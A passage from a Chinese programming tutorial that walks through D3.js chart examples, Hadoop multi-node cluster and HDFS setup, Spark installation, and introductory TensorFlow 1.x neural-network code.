以上得到绘图的数据,则需要用到生成器,由于饼图的每一部分都是一段弧,所以这里用到的是弧生成器(弧的路径)。
var outerRadius = 150 //外半径,越大,圆越大
var innerRadius = 0 //内半径,这里不为0的话,在大圆中心嵌套个小圆
var arc = d3.arc() //弧生成器
.innerRadius(innerRadius) //设置内半径
.outerRadius(outerRadius) //设置外半径
//<svg>元素中添加足够的分组元素g,每一个分组用于存放一段弧的相关元素。
var arcs = svg.selectAll("g")
.data(piedata)
.enter()
.append("g")
.attr("transform", "translate(" + (width/2) + "," + (width/2) + ")")
// 为每个<g>元素,添加<path>
//v3 d3.scale.category10()
var color = d3.scaleOrdinal(d3.schemeCategory10)
arcs.append("path")
.attr("fill", function(d, i) {
return color(i)
})
.attr("d", function(d) {
return arc(d) //调用弧生成器,得到路径值
})
arcs.append("text")
.attr("transform",function(d) {
return "translate(" + arc.centroid(d) + ")"
})
.attr("text-anchor","middle")
.text(function(d) {
return d.data
})
arc.centroid(d) 能算出弧线的中心。要注意,text() 里返回的是 d.data ,而不是 d 。因为被绑定的数据是对象,里面有 d.startAngle、d.endAngle、d.data 等,其中 d.data 才是转换前的整数的值。
3.力向图¶
<script type="text/javascript" src="d3.min.js" charset="utf-8"></script>
<script type="text/javascript">
var width = 400
var height = 400
var nodes = [ { name: "桂林" }, { name: "广州" },
{ name: "厦门" }, { name: "杭州" },
{ name: "上海" }, { name: "青岛" },
{ name: "天津" } ];
var edges = [ { source : 0 , target: 1 } , { source : 0 , target: 2 } ,
{ source : 0 , target: 3 } , { source : 1 , target: 4 } ,
{ source : 1 , target: 5 } , { source : 1 , target: 6 } ];
var svg = d3.select("body")
.append("svg")
.attr("width", width)
.attr("height", height)
//定义布局
var force = d3.forceSimulation().alphaDecay(0.1) // 设置alpha衰减系数
.force("link", d3.forceLink().distance(100)) // distance为连线的距离设置
.force("Centering", d3.forceCenter(width / 2, height / 2))
.force('collide', d3.forceCollide().radius(() => 30)) // collide 为节点指定一个radius区域来防止节点重叠。
.force("charge", d3.forceManyBody().strength(-400)) // 节点间的作用力
.nodes(nodes)
.force('link', d3.forceLink(edges))
force.restart()
console.log(nodes)
console.log(edges)
</script>
结点数据¶

边数据¶

绘制力向图¶

所需元素:
line,线段,表示连线。
circle,圆,表示节点。
text,文字,描述节点。
//定义布局
var force = d3.forceSimulation().alphaDecay(0.1) // 设置alpha衰减系数
.force("link", d3.forceLink().distance(200)) // distance为连线的距离设置
.force("Centering", d3.forceCenter(width / 2, height / 2))
.force('collide', d3.forceCollide().radius(() => 70)) // collide 为节点指定一个radius区域来防止节点重叠。
.force("charge", d3.forceManyBody().strength(-400)) // 节点间的作用力
.nodes(nodes)
.force('link', d3.forceLink(edges))
.on("tick", function(){ //对于每一个时间间隔
//更新连线坐标
svg_edges.attr("x1",function(d){ return d.source.x; })
.attr("y1",function(d){ return d.source.y; })
.attr("x2",function(d){ return d.target.x; })
.attr("y2",function(d){ return d.target.y; });
//更新节点坐标
svg_nodes.attr("cx",function(d){ return d.x; })
.attr("cy",function(d){ return d.y; });
//更新文字坐标
svg_texts.attr("x", function(d){ return d.x; })
.attr("y", function(d){ return d.y; });
});
force.restart()
console.log(nodes)
console.log(edges)
//添加连线
var svg_edges = svg.selectAll("line")
.data(edges)
.enter()
.append("line")
.style("stroke","#ccc")
.style("stroke-width",1)
var color = d3.scaleOrdinal(d3.schemeAccent)
//添加节点
var svg_nodes = svg.selectAll("circle")
.data(nodes)
.enter()
.append("circle")
.attr("r",20)
.style("fill", function(d, i) {
return color(i)
})
.call(d3.drag()
.on("start", dragstarted)
.on("drag", dragged)
.on("end", dragended))
//添加描述节点的文字
var svg_texts = svg.selectAll("text")
.data(nodes)
.enter()
.append("text")
.style("fill", "black")
.attr("dx", 20)
.attr("dy", 8)
.text(function(d){
return d.name;
});
function dragstarted(d) {
if (!d3.event.active) force.alphaTarget(0.3).restart();
d.vx = d.x;
d.vy = d.y;
}
function dragged(d) {
d.vx = d3.event.x;
d.vy = d3.event.y;
}
function dragended(d) {
if (!d3.event.active) force.alphaTarget(0);
d.vx = null;
d.vy = null;
}
力向图进阶¶
//1.结点显示图片
var nodes_img = svg.selectAll("image")
.data(root.nodes)
.enter()
.append("image")
.attr("width",img_w)
.attr("height",img_h)
.attr("xlink:href",function(d){
return d.image;
})
//更新结点图片和文字
nodes_img.attr("x",function(d){ return d.x - img_w/2; });
nodes_img.attr("y",function(d){ return d.y - img_h/2; });
{
"nodes":[
{ "name": "云天河" , "image" : "./test/tianhe.png" },
{ "name": "xx" , "image" : "./test/xx.png" },
.....
],
"edges":[
{ "source": 0 , "target": 1 , "relation":"挚友" },
{ "source": 0 , "target": 2 , "relation":"xx" },
........
]
}
//2.绘制箭头
var svg = d3.select("body")
.append("svg")
.attr("width", width)
.attr("height", height)
.call(d3.zoom().scaleExtent([1, 40])
.translateExtent([
[-100, -100],
[width + 90, height + 100]
])
//添加点击结点放大效果
.on("zoom", function () {
svg.attr("transform", d3.event.transform)
})).append("g");
//箭头
svg.append('defs').append('marker')
.attr('id','end')
.attr('viewBox','-0 -5 10 10')
.attr('refX',25)
.attr('refY',0)
.attr('orient','auto')
.attr('markerWidth',10)
.attr('markerHeight',10)
.attr('xoverflow','visible')
.append('svg:path')
.attr('d', 'M 0,-5 L 10 ,0 L 0,5')
.attr('fill', '#f0f')
.attr('stroke','#f0f');
4.弦图¶

弦图(Chord),主要用于表示两个节点之间的联系。 两点之间的连线,表示谁和谁具有联系。 线的粗细表示权重。
数据¶
var city_name = [ "北京" , "上海" , "广州" , "深圳" , "香港" ];
//数据 表达意思为
/*
北京 上海
北京 1000 3045
上海 3214 2000
统计人口来源
来自北京本地1000人,3045人来自上海
*/
var population = [
[ 1000, 3045 , 4567 , 1234 , 3714 ],
[ 3214, 2000 , 2060 , 124 , 3234 ],
[ 8761, 6545 , 3000 , 8045 , 647 ],
[ 3211, 1067 , 3214 , 4000 , 1006 ],
[ 2146, 1034 , 6745 , 4764 , 5000 ]
];
/*
v3写法
var chord_layout = d3.layout.chord()
.padding(0.03) //节点之间的间隔
.sortSubgroups(d3.descending) //排序
.matrix(population); //输入矩阵
*/
//v4及v5写法
var chord_layout = d3.chord()
.padAngle(0.03) //节点之间的间隔
.sortSubgroups(d3.descending)//排序
/*
matrix实际分成了两个部分,groups 和 chords,
其中groups表示弦图上的弧,称为外弦,groups中的各个元素都被计算用添加上了angle、startAngle、endAngle、index、value等字段;
chords 称为内弦,表示弦图中节点的连线及其权重。chords 里面分为 source 和 target ,分别标识连线的两端。
v3写法
var groups = chord_layout.groups();
var chords = chord_layout.chords();
console.log( groups );
console.log( chords );
*/
//v4写法
chord_layout = chord_layout(population) //输入矩阵
var groups = chord_layout.groups
var chords = chord_layout
console.log(groups)
console.log(chords)
output¶

定义相关变量¶
var width = 600
var height = 600
var innerRadius = width/2 * 0.7;
var outerRadius = innerRadius * 1.1;
var color = d3.scaleOrdinal(d3.schemeAccent)
var svg = d3.select("body").append("svg")
.attr("width", width)
.attr("height", height)
.append("g")
.attr("transform", "translate(" + width/2 + "," + height/2 + ")")
绘制节点¶
//绘制节点(即分组,有多少个城市画多少个弧形),及绘制城市名称。
//节点位于弦图的外部。节点数组 groups 的每一项,都有起始角度和终止角度,因此节点其实是用弧形来表示的,
var outer_arc = d3.arc()
.innerRadius(innerRadius)
.outerRadius(outerRadius);
var g_outer = svg.append("g");
g_outer.selectAll("path")
.data(groups)
.enter()
.append("path")
.style("fill", function(d) { return color(d.index); })
.style("stroke", function(d) { return color(d.index); })
.attr("d", outer_arc );
/*
节点的文字(即城市名称),有两个地方要特别注意。
each():表示对任何一个绑定数据的元素,都执行后面的无名函数 function(d,i) ,函数体里做两件事:
计算起始角度和终止角度的平均值,赋值给 d.angle 。
将 city_name[i] 城市名称赋值给 d.name 。
transform 的参数:用 translate 进行坐标变换时,要注意顺序: rotate -> translate(先旋转再平移)。 此外,
( ( d.angle > Math.PI*3/4 && d.angle < Math.PI*5/4 ) ? "rotate(180)" : "")
意思是,当角度在 135° 到 225° 之间时,旋转 180°。不这么做的话,下方的文字是倒的。
*/
g_outer.selectAll("text")
.data(groups)
.enter()
.append("text")
.each(function(d,i) {
d.angle = (d.startAngle + d.endAngle) / 2;
d.name = city_name[i];
})
.attr("dy",".35em")
.attr("transform", function(d){
return "rotate(" + ( d.angle * 180 / Math.PI ) + ")" + "translate(0,"+ -1.0*(outerRadius+10) +")" + ( ( d.angle > Math.PI*3/4 && d.angle < Math.PI*5/4 ) ? "rotate(180)" : "");
})
.text(function(d){
return d.name;
});
绘制连线(弦)¶
var inner_chord = d3.ribbon()
.radius(innerRadius);
svg.append("g")
.attr("class", "chord")
.selectAll("path")
.data(chords)
.enter()
.append("path")
.attr("d", inner_chord )
.style("fill", function(d) { return color(d.source.index); })
.style("opacity", 1)
.on("mouseover",function(d,i){
d3.select(this)
.style("fill","yellow");
})
.on("mouseout",function(d,i) {
d3.select(this)
.transition()
.duration(1000)
.style("fill",color(d.source.index));
});
第五章:大数据¶
这一章介绍的是有关大数据的教程 ,包括Hadoop集群搭建,spark搭建等,更多内容,待更新…

第一节:Vmware-Ubuntu 16.04(LTS版)实战Hadoop Multi Node Cluster¶
一、前言¶
本文操作是在Hadoop Single Node Cluster基础上的进阶,由于Single与Multi大同小异,不多作解释,本文着重阐述Hadoop Multi Node Cluster。 Hadoop Multi Node Cluster架构有一台主要的计算机master,在HDFS担任NameNode角色、在MapReduce2(YARN)担任ResourceManager角色。除此之外,添加三个虚拟主机data1、data2,data3.

注:Hadoop Multi Node Cluster架构,必须有4台实体服务器才能建立,才能够发挥多台计算机并行处理的优势,此处选用虚拟主机进行实验。
三、开始实操¶
由于之前Hadoop Single Node Cluster已经安装好了,现在进入下列操作:
1.克隆主机¶
通过Vmware克隆模式,克隆出4个独立的虚拟主机,并且命名为data1,data2,data3,master。然后通过ifconfig得出各个虚拟主机的IP。这里为
master 192.168.56.100
data1 192.168.56.101
data1 192.168.56.102
data1 192.168.56.103
2.data1修改¶
编辑interfaces网络配置文件—保证虚拟主机IP地址不变
sudo gedit /etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
# 以下为新添加内容
# NAT interface
auto eth0
iface eth1 inet dhcp
# host only interface
auto eth1
iface eth1 inet static
address 192.168.56.101
netmask 255.255.255.0
network 192.168.56.0
broadcast 192.168.56.255
2.编辑hosts文件¶
# 添加下面内容,注意输入每一台主机对应的IP地址
master 192.168.56.100
data1 192.168.56.101
data1 192.168.56.102
data1 192.168.56.103
3.编辑core-site.xml¶
sudo gedit /usr/local/hadoop/etc/hadoop/core-site.xml
<!--在Hadoop Single Node Cluster安装后,下面master为localhost,此时改为master即可-->
<property>
<name>fs.default.name</name>
<value>hdfs://master:9000</value>
</property>
4.编辑yarn-site.xml¶
sudo gedit /usr/local/hadoop/etc/hadoop/yarn-site.xml
<configuration>
<!-- 设置ResourceManager主机与NodeManager的连接地址 -->
<property>
<name>yarn.resourcemanager.resource-tracker.address</name>
<value>master:8025</value>
</property>
<!-- 设置ResourceManager与ApplicationMaster的连接地址 -->
<property>
<name>yarn.resourcemanager.scheduler.address</name>
<value>master:8030</value>
</property>
<!-- 设置ResourceManager与客户端的连接地址 -->
<property>
<name>yarn.resourcemanager.address</name>
<value>master:8050</value>
</property>
</configuration>
5.编辑mapred-site.xml¶
sudo gedit /usr/local/hadoop/etc/hadoop/mapred-site.xml
<configuration>
<property>
<name>mapred.job.tracker</name>
<value>master:54311</value>
</property>
</configuration>
6.编辑hdfs-site.xml¶
sudo gedit /usr/local/hadoop/etc/hadoop/hdfs-site.xml
<configuration>
<property>
<name>dfs.replication</name>
<value>3</value>
</property>
<property>
<name>dfs.datanode.data.dir</name>
<value> file:/usr/local/hadoop/hadoop_data/hdfs/datanode</value>
</property>
4.设置master服务器.¶
按照data1操作设置完毕—修改hostname
1.修改hdfs-site.xml文件¶
sudo gedit /usr/local/hadoop/etc/hadoop/hdfs-site.xml
<configuration>
<property>
<name>dfs.replication</name>
<value>3</value>
</property>
<property>
<name>dfs.namenode.name.dir</name>
<value> file:/usr/local/hadoop/hadoop_data/hdfs/namenode</value>
</property>
</configuration>
3.编辑slaves文件¶
sudo gedit /usr/local/hadoop/etc/hadoop/slaves
# 设置data1,data2,data3
data1
data2
data3
4.重启¶
5.SSH无密码连接.¶
1.master主机操作¶
ssh-keygen
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
ssh localhost
# 主机公钥通过ssh连接复制给data1,如果要复制给data2/data3,修改IP即可
scp ~/.ssh/id_rsa.pub hduser@192.168.56.101:/home/hduser/
2.data1/data2/data3操作¶
cat ~/id_rsa.pub >> ~/.ssh/authorized_keys
3.最后在master主机中操作¶
ssh data1
6.创建并格式化NameNode HDFS.¶
hadoop namenode -format
8.查看master的进程是否启动¶
>查看启动的进程
jps
>显示
4646 jps
4350 ResourceManager
3998 NameNode
4185 SecondaryNameNode
### 8.查看data1/data2/data3的进程是否启动
>分别输入
ssh data1
jps
exit
>jps显示
1956 NodeManager
1872 DataNode
2044 Jps
四、问题解决¶
>1.ssh连接远程主机时,出现 sign_and_send_pubkey: signing failed: agent refused operation 错误,并且还是需要输入密码
表示ssh-agent 已经在运行了,但是找不到附加的任何keys,就是说你生成的key,没有附加到ssh-agent上,需要附加一下,执行ssh后出现上述错误。
解决办法:依次执行下列代码
eval "$(ssh-agent -s)"
ssh-add
>2.ssh无密码登录失败,还是需要输入密码登录
解决办法:清除.ssh文件夹里面所有文件,然后按照上述操作即可。
>A@B 终端中依次代表 用户名@主机名
>ssh data1连接后,要记得用exit退出再去操作!

第二节:Hadoop HDFS命令¶
本节所有命令¶
命令 | 说明 |
---|---|
hadoop fs -mkdir | 创建HDFS目录 |
hadoop fs -ls | 列出HDFS目录 |
hadoop fs -copyFromLocal | 使用-copyFromLocal 复制本地(local)文件到HDFS |
hadoop fs -put | 使用-put 复制本地(local)文件到HDFS |
hadoop fs -cat | 列出HDFS目录下的文件内容 |
hadoop fs -copyToLocal | 使用-copyToLocal将HDFS上的文件复制到本地(local) |
hadoop fs -get | 使用-get将HDFS上的文件复制到本地(local) |
hadoop fs -cp | 复制HDFS文件 |
hadoop fs -rm | 删除HDFS文件 |
一、启动Hadoop Multi-Node Cluster¶
- 1.开启master、data1、data2、data3的虚拟主机
- 2.start-all.sh启动Hadoop Multi-Node Cluster
二、创建与查看HDFS目录¶
# 创建user目录
hadoop fs -mkdir /user
# 在user目录下,创建hduser子目录
hadoop fs -mkdir /user/hduser
# 在hduser目录下,创建test子目录
hadoop fs -mkdir /user/hduser/test
# 查看之前创建的HDFS目录
hadoop fs -ls
# 查看HDFS根目录
hadoop fs -ls /
# 查看HDFS的/user目录
# 查看HDFS的/user/hduser目录
hadoop fs -ls /user/hduser
# 查看所有HDFS子目录
# 一次查看所有子目录
hadoop fs -ls -R /
#创建多级HDFS子目录
hadoop fs -p /dir1/dir2/dir3
# 查看所有HDFS子目录
hadoop fs -ls -R /
三、从本地计算机复制文件到HDFS¶
# 复制本地文件到HDFS目录
hadoop fs -copyFromLocal /usr/local/hadoop/README.txt /user/hduser/test
# 复制本地文件到HDFS目录的test.txt
hadoop fs -copyFromLocal /usr/local/hadoop/README.txt /user/hduser/test/test1.txt
# 列出HDFS目录下的文件
hadoop fs -ls /user/hduser/test
# 列出HDFS目录下的文件内容
hadoop fs -cat /user/hduser/test/README.txt
# 针对大文件,不一次显示,分多页显示,使用|more命令.
hadoop fs -cat /user/hduser/test/README.txt|more
# 强制复制本地文件到HDFS的目录
hadoop fs -copyFromLocal -f /usr/local/hadoop/README.txt /user/hduser/test
# 复制多个本地文件到HDFS目录
hadoop fs -copyFromLocal /usr/local/hadoop/NOTICE.txt /usr/local/hadoop/LICENSE.txt /user/hduser/test
# 复制目录到HDFS目录
hadoop fs -copyFromLocal /usr/local/hadoop/etc /user/hduser/test
# 列出HDFS目录下的文件
hadoop fs -ls /user/hduser/test
# 使用put复制文件到HDFS目录,会直接覆盖文件
hadoop fs -put /usr/local/hadoop/README.txt /user/hduser/test/test2.txt
# 将原本显示在屏幕上的内容存储到HDFS文件,“|”即pipe管道
echo abc | hadoop fs -put - /usr/hduser/test/echoin.txt
# 显示在HDFS的文件echion.txt的内容
hadoop fs -cat /usr/hduser/test/echoin.txt
# 本地目录的列表存储HDFS文件
ls /usr/local/hadoop | hadoop fs -put - /usr/hduser/test/hadooplist.txt
# 显示HDFS的文件hadooplist.txt
hadoop fs -cat /user/hduser/test/hadooplist.txt
四、将HDFS上的文件复制到本地计算机¶
# 本地计算机创建test测试目录
mkdir test
# 切换到test目录
cd test
# 查看本地目录
ll
# 将整个目录上的目录复制到本地计算机
hadoop fs -copyToLocal /user/hduser/test/etc
# 将HDFS上的文件复制到本地计算机
hadoop fs -get /user/hduser/test/README.txt localREADME.txt
五、复制与删除HDFS文件¶
# 在HDFS上创建测试目录/user/hduser/test/temp
hadoop fs -nkdir /user/hduser/test/temp
# 复制HDFS文件到HDFS测试目录
hadoop fs -cp /user/hduser/test/README.txt /user/hduser/test/temp
# 查看HDFS测试目录
hadoop fs -ls /user/hduser/test/temp
# 先查看准备要被删除的文件
hadoop fs -ls /user/hduser/test
# 删除HDFS文件
hadoop fs -rm /user/hduser/test/test2.txt
# 查看准备要被删除的HDFS目录
hadoop fs -ls /user/hduser/test
# 删除HDFS目录
hadoop fs -rm -R /user/hduser/test/etc

第三节:Ubuntu 16.04安装Spark¶
一、安装Scala¶
scala 下载与安装¶
wget http://scala-lang.org/files/archive/scala-2.11.12.tgz
tar xcf scala-2.11.12.tgz
sudo mv scala-2.11.12 /usr/local/scala
# 编辑~/.bashrc文件
sudo gedit ~/.bashrc
# 末尾添加Scala配置
export SCALA_HOME=/usr/local/scala
export PATH=$PATH:${SCALA_HOME}/bin
# ~/.bashrc修改生效
source ~/.bashrc
启动scala¶

issue:cat /usr/lib/jvm/java-8-openjdk-amd64//release:没有那个文件或目录
solution:更换openjdk为oracle jdk
二、在Ubuntu 16.04上正确安装Oracle Java¶
1. 将webupd8team存储库添加到apt¶
sudo apt-get install python-software-properties
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
- 注:运行第二个命令出现No module named “apt_pkg”错误
- 解决方法:由于更换python版本3.6,所以出现以下问题,依次运行以下代码即可解决
sudo apt install python3-apt
cd /usr/lib/python3/dist-packages
sudo cp apt_pkg.cpython-35m-x86_64-linux-gnu.so apt_pkg.cpython-36m-x86_64-linux-gnu.so
2.安装 Java¶
sudo apt-get install oracle-java8-installer
5.自此完全正常¶

三、安装&配置Spark¶
1.下载与安装¶
# 下载
wget http://mirrors.hust.edu.cn/apache/spark/spark-2.2.1/spark-2.2.1-bin-hadoop2.7.tgz
# 解压
tar zxf spark-2.2.1-bin-hadoop2.7.tgz
# 目录移动
sudo mv spark-2.2.1-bin-hadoop2.7 /usr/local/spark
# 编辑~/.bashrc
sudo gedit ~/.bashrc
# 配置Spark--复制以下两行至~/.bashrc文件中
export SPARK_HOME=/usr/local/spark
export PATH=$PATH:${SPARK_HOME}/bin
# ~/.bashrc配置生效
source ~/.bashrc
# 进入spark-shell交互界面
spark-shell

2.设置spark-shell显示信息¶
# 切换到spark配置文件目录
cd /us/local/spark/conf
# 复制log4j模板文件到log4j.properties
cp log4j.properties.template log4j.properties
# 编辑log4j.properties---将log4j.rootCategory=INFO,console改为log4j.rootCategory=WARN,console
sudo gedit log4j.properties
# 启动spark-shell
此时会发现信息少了很多,只列出重要部分的信息

四、构建Spark Standalone Cluster执行环境¶
# 复制模板文件来创建spark-env.sh
cp /usr/local/spark/conf/spark-env.sh.template /usr/local/spark/conf/spark-env.sh
# 编辑spark-env.sh
sudo gedit /usr/local/spark/conf/spark-env.sh
# 添加以下内容
export SPARK_MASTER_IP=master
export SPARK_WORKER_CORES=1
export SPARK_WORKER_MEMORY=800m
export SPARK_WORKER_INSTANCES=2
# 将master的spark程序复制到data1、data2、data3,以下五行重复,注意更换data服务器
ssh data1 # ssh连接至data1
sudo mkdir /usr/local/spark # 连接成功后,创建spark目录
sudo chown hduser:hadoop /usr/local/spark # 更换所有者为hduser
exit # 注销data1
sudo scp -r /usr/local/spark hduser@data1:/usr/local
五、在Spark Standalone运行spark-shell¶
# 启动Spark Standalone Cluster
/usr/local/spark/sbin/start-all.sh
# 在Spark Standalone运行spark-shell
spark-shell --master spark://master:7077
http://master:8080/

第六章:深度学习¶
这一章介绍的是有关深度学习实战的教程 ,包括Tensorflow基础、识别手写字体等,更多内容,待更新…

第一节:Win10、PyCharm、Cuda9.2、cuDNN7.1、tensorflow-gpu1.8部署¶
注:本文主要讲tensorflow-gpu 1.8的安装及测试
一、Anaconda的envs下新建一个python3环境,¶
- 将Tensorflow安装在这里面
- Win10上Anaconda的python2与python3切换
二、关于Cuda 9.2与cuDNN 7.1的安装¶
三、关于Cuda 9.2与cuDNN 7.1安装环境配置及测试¶
1.Cuda 9.2配置¶
一路安装成功后,dos输入nvcc -V,显示如下信息表示安装成功

默认情况
安装好后,默认情况下,系统变量会多出CUDA_PATH和CUDA_PATH_V9_2两个环境变量。
添加系统变量¶
CUDA_SDK_PATH = C:\ProgramData\NVIDIACorporation\CUDA Samples\v9.2
CUDA_LIB_PATH = %CUDA_PATH%\lib\x64
CUDA_BIN_PATH = %CUDA_PATH%\bin
CUDA_SDK_BIN_PATH = %CUDA_SDK_PATH%\bin\win64
CUDA_SDK_LIB_PATH = %CUDA_SDK_PATH%\common\lib\x64
2.cuDNN¶
解压cudnn-9.2-windows10-x64-v7.1.zip,
将文件夹里的内容拷贝到CUDA的安装目录并覆盖相应的文件夹,
CUDA默认安装目录:C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.2
四、tensorflow-gpu 1.8¶
2.测试¶
### ### ### import tensorflow as tf
### ### ### hello = tf.constant('Hello, TensorFlow!')
### ### ### sess = tf.Session()
### ### ### print(sess.run(hello))
Hello, TensorFlow!
3.问题¶
警告:Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA
#解决
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
FutureWarning: Conversion of the second argument of issubdtype from float to np.floating is deprecated
h5py新版本对numpy1.4版本的兼容错误
更新numpy与h5py问题解决
五、参考文章¶
1.警告:Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA
2.成功解决Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX AVX2
3.Win10 64 位Tensorflow-gpu安装(VS2017+CUDA9.2+cuDNN7.1.4+python3.6.5)
4.导入tensorflow错误:FutureWarning:Conversion of the second argument of issubdtype from `float`省略

第二节:TensorFlow学习¶
1.Session会话控制(两种打开模式)¶
定义矩阵¶
matrix1=tf.constant([[3,3]])
matrix2=tf.constant([[2],
[2]])
两矩阵相乘¶
product=tf.matmul(matrix1,matrix2) # matrix mul
Session会话控制方法一¶
sess=tf.Session()
result=sess.run(product)
print(result) # [[12]]
sess.close()
Session会话控制方法二¶
# 好处就是不需要写sess.close,因为以下代码在with语句中运行,运行完毕,自动关闭了
with tf.Session() as sess:
result2=sess.run(product)
print(result2) # [[12]]
2.Tensorflow使用Variable¶
写在前面¶
在 Tensorflow 中,定义了某字符串是变量,它才是变量
定义变量与常量¶
state=tf.Variable(0,name='counter')
print(state.name) # counter:0
one=tf.constant(1)
变量与常量做加法运算¶
new_value=tf.add(state,one)
更新state值¶
update=tf.assign(state,new_value)
变量初始化!!!¶
# 如果定义变量一定要用这个!
# init=tf.initialize_all_variables() 即将被废除
init=tf.global_variables_initializer()
# 注意:到这里变量还是没有被激活,需要在下面 sess 里, sess.run(init) , 激活 init
激活变量¶
with tf.Session() as sess:
sess.run(init)
for _ in range(3):
sess.run(update)
print(sess.run(state))
注意:直接 print(state) 不起作用!!一定要把 sess 的指针指向 state 再进行 print 才能得到想要的结果!
3.Placeholder 传入值¶
写在前面¶
'''
Tensorflow 如果想要从外部传入data, 那就需要用到 tf.placeholder(),
然后以这种形式传输数据stat.run(***,feed_dict(key:value,key1:value.....))
'''
定义两个placeholder¶
# 在Tensorflow中需要定义placeholder的type,一般为type32形式
input1=tf.placeholder(tf.float32)
input2=tf.placeholder(tf.float32)
mul=multiply是将input1和input2做乘法运算¶
output=tf.multiply(input1,input2)
外部传如data,并输出结果¶
with tf.Session() as sess:
print(sess.run(output,feed_dict={input1:[2],input2:[3.0]}))
4.激励函数(activate function)¶
- 激励函数运行时激活神经网络中某一部分神经元。
- 将激活信息向后传入下一层的神经系统。
- 激励函数的实质是非线性方程。
5.定义添加神经层的函数¶
写在前面¶
定义添加神经层的函数def add_layer(),它有四个参数:
输入值、输入的大小、输出的大小和激励函数,
我们设定默认的激励函数是None
定义weights和biases¶
# 因为在生成初始参数时,随机变量(normal distribution)会比全部为0要好很多,所以我们这里的weights为一个in_size行, out_size列的随机变量矩阵
Weights=tf.Variable(tf.random_uniform([in_size,out_size]))
# biases的推荐值不为0,所以我们这里是在0向量的基础上又加了0.1
biases = tf.Variable(tf.zeros([1, out_size]) + 0.1)
激励函数处理¶
# 当activation_function——激励函数为None时,输出就是当前的预测值——Wx_plus_b,不为None时,就把Wx_plus_b传到activation_function()函数中得到输出
if activation_function is None:
outputs = Wx_plus_b
else:
outputs = activation_function(Wx_plus_b)
返回输出¶
return outputs
完整函数¶
import tensorflow as tf
# 定义添加神经层的函数
def add_layer(inputs,in_size,out_size,activation_function=None):
Weights=tf.Variable(tf.random_uniform([in_size,out_size]))
biases=tf.Variable(tf.zeros([1,out_size])+0.1)
Wx_plus_b=tf.matmul(inputs,Weights)+biases
if activation_function is None:
outputs=Wx_plus_b
else:
outputs=activation_function(Wx_plus_b)
return outputs
6.建造神经网络¶
导入包numpy¶
import numpy as np
定义添加神经层的函数¶
import tensorflow as tf
def add_layer(inputs,in_size,out_size,activation_function=None):
Weights=tf.Variable(tf.random_uniform([in_size,out_size]))
biases=tf.Variable(tf.zeros([1,out_size])+0.1)
Wx_plus_b=tf.matmul(inputs,Weights)+biases
if activation_function is None:
outputs=Wx_plus_b
else:
outputs=activation_function(Wx_plus_b)
return outputs
转列向量¶
将一个有300个元素的一维数组转换成1列300行的矩阵形式(列向量)
x_data=np.linspace(-1,1,300,dtype=np.float32)[:,np.newaxis]
噪点,没有按照函数走,这样看起来会更像真实情况,其中0.05表示方差
noise=np.random.normal(0,0.05,x_data.shape).astype(np.float64)
y_data=np.square(x_data)-0.5+noise
接下来,开始定义神经层。 通常神经层都包括输入层、隐藏层和输出层。这里的输入层只有一个属性, 所以我们就只有一个输入;隐藏层我们可以自己假设,这里我们假设隐藏层有10个神经元; 输出层和输入层的结构是一样的,所以我们的输出层也是只有一层。 所以,我们构建的是——输入层1个、隐藏层10个、输出层1个的神经网络。
# 定义隐藏层
l1=add_layer(xs,1,10,activation_function=tf.nn.relu)
# 定义输出层
predition=add_layer(l1,10,1,activation_function=None)
# 计算预测值predition与真实值的误差,对两者差的平方求和再取平均
loss=tf.reduce_mean(tf.reduce_sum(tf.square(ys-predition),
reduction_indices=[1]))
# 机器学习提升准确率
train_step=tf.train.GradientDescentOptimizer(0.1).minimize(loss) # 0.1表示学习效率
# 初始化
init=tf.global_variables_initializer()
# 激活变量
sess=tf.Session()
sess.run(init)
训练¶
for i in range(1000):
# training
sess.run(train_step, feed_dict={xs: x_data, ys: y_data})
# 每50步我们输出一下机器学习的误差
if i % 50 == 0:
# to see the step improvement
print(sess.run(loss, feed_dict={xs: x_data, ys: y_data}))
运行¶

7.matplotlib 可视化¶
参见前文¶
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
# 定义添加神经层的函数
def add_layer(inputs,in_size,out_size,activation_function=None):
Weights=tf.Variable(tf.random_uniform([in_size,out_size]))
biases=tf.Variable(tf.zeros([1,out_size])+0.1)
Wx_plus_b=tf.matmul(inputs,Weights)+biases
if activation_function is None:
outputs=Wx_plus_b
else:
outputs=activation_function(Wx_plus_b)
return outputs
# 将一个有300个元素的一维数组转换成1列300行的矩阵形式(列向量)
x_data=np.linspace(-1,1,300,dtype=np.float32)[:,np.newaxis]
# 噪点,没有按照函数走,这样看起来会更像真实情况,其中0.05表示方差
noise=np.random.normal(0,0.05,x_data.shape).astype(np.float64)
y_data=np.square(x_data)-0.5+noise
# 输入层1,隐藏层10,输出层1
# 这里的None代表无论输入有多少都可以,因为输入只有一个特征,所以这里是1
xs = tf.placeholder(tf.float32, [None, 1])
ys = tf.placeholder(tf.float32, [None, 1])
# 定义隐藏层
l1=add_layer(xs,1,10,activation_function=tf.nn.relu)
# 定义输出层
prediction=add_layer(l1,10,1,activation_function=None)
# 计算预测值prediction与真实值的误差,对两者差的平方求和再取平均
loss=tf.reduce_mean(tf.reduce_sum(tf.square(ys-prediction),
reduction_indices=[1]))
# 机器学习提升准确率
train_step=tf.train.GradientDescentOptimizer(0.1).minimize(loss) # 0.1表示学习效率
# 初始化
init=tf.global_variables_initializer()
# 激活变量
sess=tf.Session()
sess.run(init)
绘制散点图¶
# plot the real data
fig = plt.figure()
ax = fig.add_subplot(1,1,1)
ax.scatter(x_data, y_data)
plt.ion() # 连续显示
plt.show()
显示预测数据¶
# 每隔50次训练刷新一次图形,用红色、宽度为5的线来显示我们的预测数据和输入之间的关系,并暂停0.1s。
for i in range(1000):
# training
sess.run(train_step, feed_dict={xs: x_data, ys: y_data})
if i % 50 == 0:
# to visualize the result and improvement
try:
ax.lines.remove(lines[0])
except Exception:
pass
prediction_value = sess.run(prediction, feed_dict={xs: x_data})
# plot the prediction r-表示红色实线,lw表示线宽
lines = ax.plot(x_data, prediction_value, 'r-', lw=5)
plt.pause(0.1)
问题¶
红色实线条不显示,解决办法:取消matplotlib默认输出到sciview
